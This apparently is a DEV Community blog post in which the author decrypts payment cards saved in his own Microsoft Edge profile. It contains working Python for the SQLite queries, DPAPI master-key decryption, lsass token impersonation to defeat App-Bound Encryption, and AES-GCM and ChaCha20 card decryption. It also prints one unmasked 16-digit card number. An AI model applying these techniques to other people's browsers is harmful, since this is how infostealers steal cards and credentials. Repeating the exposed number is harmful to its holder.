DEV Community

Yash Desai
Yash Desai

Posted on

Extracting Saved Credit Cards from Microsoft Edge: A Forensics Deep-Dive

This article is for educational purposes only. Only run these techniques against your own browser data. Credit card numbers are sensitive information — handle them with care.


The Problem

I had 5 credit/debit cards saved in Microsoft Edge's autofill system — accumulated over years of online shopping. I needed to export them as CSV for a personal finance dashboard I was building.

Simple, right? Wrong.

The Conventional Way

Edge lets you export passwords as CSV (edge://settings/passwords → Export) but there is no such button for payment methods. You can view your cards at edge://settings/payments, but you have to click each one → Edit → manually copy the number.

For 5 cards, that's tedious. For 50, it's impractical. And there's no programmatic API — this is intentionally locked down for security.

The Data Storage

Edge is Chromium-based, so it stores autofill data in a SQLite database at:

%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Web Data
Enter fullscreen mode Exit fullscreen mode

The credit_cards table has columns like name_on_card, expiration_month, expiration_year, and — the critical one — card_number_encrypted.

Let's peek inside:

SELECT guid, name_on_card, expiration_month, expiration_year, 
       hex(card_number_encrypted), length(card_number_encrypted) 
FROM credit_cards;
Enter fullscreen mode Exit fullscreen mode
39d22812... | Yash Desai   | 12/2028 | prefix=763232 | len=67
ccbc5e9b... | (none)       | 2/2031  | prefix=763232 | len=67
df1b288b... | (none)       | 12/2029 | prefix=763230 | len=47
ebcab4a3... | Krunal       | 9/2029  | prefix=763232 | len=67
aa7d0770... | (none)       | 4/2031  | prefix=763232 | len=67
Enter fullscreen mode Exit fullscreen mode

Notice the hex prefixes:

  • 763230 = ASCII "v20"v20 encryption (47 bytes)
  • 763232 = ASCII "v22"v22 encryption (67 bytes)

Edge uses AES-GCM encryption, and the encrypted blob format is:

  • 3 bytes: version prefix (v10, v11, v20, or v22)
  • 12 bytes: AES-GCM nonce (IV)
  • N bytes: ciphertext (card number)
  • 16 bytes: GCM authentication tag

The Encryption Key

There are two generations of key management in Chromium-based browsers:

v10/v11 (Legacy)

The master key is stored in Local State under os_crypt.encrypted_key:

{
  "os_crypt": {
    "encrypted_key": "RFBQQUkAAA...base64..."
  }
}
Enter fullscreen mode Exit fullscreen mode

The base64-decoded blob starts with DPAPI (5 bytes), followed by DPAPI-encrypted data. Decrypt it with CryptUnprotectData:

import win32crypt, binascii, json

with open("Local State") as f:
    local_state = json.load(f)

encrypted_key = binascii.a2b_base64(local_state["os_crypt"]["encrypted_key"])
assert encrypted_key[:5] == b"DPAPI"
master_key = win32crypt.CryptUnprotectData(encrypted_key[5:], None, None, None, 0)[1]
Enter fullscreen mode Exit fullscreen mode

This returns a 32-byte AES key.

v20+ (App-Bound Encryption)

Newer Edge versions (and Chrome v127+) use App-Bound Encryption. The key lives under os_crypt.app_bound_encrypted_key:

{
  "os_crypt": {
    "app_bound_encrypted_key": "QVBQQgEAAADQjJ3fARXR..."  // starts with "APPB"
  }
}
Enter fullscreen mode Exit fullscreen mode

The decryption requires two DPAPI passes:

  1. SYSTEM-level DPAPI — impersonating lsass.exe
  2. User-level DPAPI — standard user context

This is why it needs Administrator privileges.

The Tooling Stack

Tool Purpose
Python 3.11 Scripting
pycryptodome AES-GCM / ChaCha20-Poly1305
PythonForWindows Windows token manipulation, DPAPI
pywin32 Win32 API wrappers
sqlite3 (stdlib) Reading Edge's Web Data DB
DB Browser for SQLite Quick DB inspection (GUI)

The Experiment

Phase 1: Naive SQLite Dump

I started simple — just query the credit_cards table and dump to CSV.

import sqlite3
conn = sqlite3.connect("Web Data")
cursor = conn.cursor()
cursor.execute("SELECT * FROM credit_cards")
# ...write to CSV
Enter fullscreen mode Exit fullscreen mode

Result: CSV with metadata (names, expiry) but card_number_encrypted was binary garbage — AES ciphertext.

Phase 2: v10 Key Extraction

Tried the legacy DPAPI approach:

# Decrypt DPAPI-wrapped key from Local State
master_key = win32crypt.CryptUnprotectData(encrypted_blob)[1]

# Decrypt each card
nonce = blob[3:15]
ct = blob[15:-16]
tag = blob[-16:]
cipher = AES.new(master_key, AES.MODE_GCM, nonce=nonce)
card_number = cipher.decrypt_and_verify(ct, tag)
Enter fullscreen mode Exit fullscreen mode

Result: MAC check failed on all cards. Our Edge instance uses App-Bound Encryption, not legacy DPAPI.

Phase 3: App-Bound Encryption (First Attempt)

Found the hieuhp01/BrowserDatabaseDecryption repo on GitHub with a promising script. It handles v20 App-Bound Encryption by:

  1. Impersonating lsass.exe (SYSTEM token) for the first DPAPI pass
  2. Standard user DPAPI for the second pass
  3. Taking the last 32 bytes of the decrypted blob as the AES key
from contextlib import contextmanager
import windows, windows.crypto, windows.generated_def as gdef

@contextmanager
def impersonate_lsass():
    original_token = windows.current_thread.token
    windows.current_process.token.enable_privilege("SeDebugPrivilege")
    proc = next(p for p in windows.system.processes if p.name == "lsass.exe")
    lsass_token = proc.token
    impersonation_token = lsass_token.duplicate(
        type=gdef.TokenImpersonation,
        impersonation_level=gdef.SecurityImpersonation
    )
    windows.current_thread.token = impersonation_token
    yield
    windows.current_thread.token = original_token
Enter fullscreen mode Exit fullscreen mode

The problem: This needs Administrator rights AND the SeDebugPrivilege privilege. When you run the script non-elevated, it fails immediately.

The fix: Write a PowerShell wrapper that runs the Python script via Start-Process -Verb RunAs.

# run_elevated.ps1
$venvPy = "C:\path\to\.venv\Scripts\python.exe"
$script = "C:\path\to\decrypt_card_number_edge.py"
& $venvPy $script 2>&1 | Add-Content "C:\path\to\result.txt"
Enter fullscreen mode Exit fullscreen mode

Then invoke it:

Start-Process -Verb RunAs -Wait -FilePath "powershell" -ArgumentList "-ExecutionPolicy Bypass -File run_elevated.ps1"
Enter fullscreen mode Exit fullscreen mode

Gotcha: Start-Process -Verb RunAs doesn't support -RedirectStandardOutput. You must redirect inside the elevated script itself.

Phase 4: Partial Success — The v20 Card

Running the script elevated, we got:

Name on Card         Expiry     Card Number              
=======================================================
Yash Desai           12/2028    error: MAC check failed  
(no name)            2/2031    error: MAC check failed  
(no name)            12/2029    4748469484762006         
Krunal               9/2029    error: MAC check failed  
(no name)            4/2031    error: MAC check failed  
Enter fullscreen mode Exit fullscreen mode

1 out of 5 decrypted. The working card had a v20 prefix (47 bytes). The 4 failures were v22 (67 bytes).

Phase 5: The v22 Mystery

I dumped the app_bound_encrypted_key key blob to understand why v22 cards fail:

Key blob (72 bytes):
20000000 02 433a5c50726f6772616d...
                      ^^
                   flag=2
Enter fullscreen mode Exit fullscreen mode

The decrypted key blob structure:

  • 20 00 00 00 (4 bytes) = DWORD length prefix (32)
  • 02 (1 byte) = flag byte
  • C:\Program Files\Microsoft\Edge \0 (32 bytes) = path string
  • 00 00 00 00 (4 bytes) = padding
  • ce7d3d72...49f75 (32 bytes) = encrypted/derived key material

The flag byte was 2, not 1. According to StackOverflow research:

Flag Algorithm Key Source
1 AES-GCM Hard-coded in elevation_service.exe
2 ChaCha20-Poly1305 Hard-coded in elevation_service.exe
3 AES-GCM CNG (Microsoft Key Storage Provider)

Flag 2 means ChaCha20-Poly1305 — a completely different cipher. I updated the script to try both:

from Crypto.Cipher import AES, ChaCha20_Poly1305

def decrypt_chacha20(blob, key):
    nonce = blob[3:15]
    ct = blob[15:-16]
    tag = blob[-16:]
    cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)
    return cipher.decrypt_and_verify(ct, tag).decode("utf-8")
Enter fullscreen mode Exit fullscreen mode

Result: Still MAC check failed on all 4 v22 cards. Something else is going on.

Phase 6: Diagnosis

After extensive debugging, here's what I concluded:

  1. The v20 card (4748469484762006) was saved locally on the device and used the simpler AES-GCM path.
  2. The 4 v22 cards likely fall into one of these categories:
    • Synced from Microsoft Account — encrypted with a cloud-derived key, not the local app-bound key
    • Encrypted with an older key version — before a key rotation, or with a different elevation_service.exe
    • Use key material from elevation_service.exe — the actual master key for flag 2 is embedded in Edge's binary, accessible only via reverse-engineering the PE file

The elevation_service.exe (signed by Microsoft) contains hard-coded key material that's XORed or combined with the blob data to produce the final encryption key. Extracting that requires:

  • Reverse-engineering a Microsoft signed binary
  • Understanding the exact byte offsets and XOR masks
  • Keeping up with updates (every Edge release can change this)

That's a rabbit hole I didn't go down — it's active cat-and-mouse territory.

The Final Results

CSV: C:\Users\...\edge_payment_methods_decrypted.csv

Name on Card         Expiry     Card Number              Method
======================================================================
Yash Desai           12/2028    FAILED                   ChaCha20: MAC check failed
(no name)            2/2031    FAILED                   ChaCha20: MAC check failed
(no name)            12/2029    4748469484762006         AES-GCM ✅
Krunal               9/2029    FAILED                   ChaCha20: MAC check failed
(no name)            4/2031    FAILED                   ChaCha20: MAC check failed
Enter fullscreen mode Exit fullscreen mode

Decrypted card (masked for safety): 474846******2006

Key Takeaways

  1. Edge has no built-in export for payment methods — only passwords.
  2. Two encryption generations exist simultaneously: legacy DPAPI (v10) and App-Bound (v20/v22).
  3. App-Bound Encryption requires SYSTEM-level DPAPI — needs Admin rights and SeDebugPrivilege.
  4. v20 and v22 use different ciphers: AES-GCM vs ChaCha20-Poly1305 — but even the right cipher isn't enough if the key derivation differs.
  5. Microsoft Account-synced cards likely use a separate key chain inaccessible from local-only extraction.
  6. The encryption is designed to be hard to export — this is a security feature, not a bug. Payment data is PCI-DSS regulated, and browser vendors are adding stronger protections each release.

Tools Referenced

For the Brave: What's Next?

If you want to fully crack v22, you'd need to:

  1. Extract the hard-coded key from elevation_service.exe using a disassembler (Ghidra, IDA Pro)
  2. Find the XOR mask / key derivation function for flag 2
  3. Apply it to the blob data to derive the per-card AES/ChaCha20 key
  4. Decrypt the individual card blobs

This is doable but non-trivial — and every Edge update may shuffle the offsets. It's an ongoing arms race between forensics researchers and browser security teams.


By Yash Desai | AI Infrastructure & Fullstack Engineering | yashddesai.com

Top comments (0)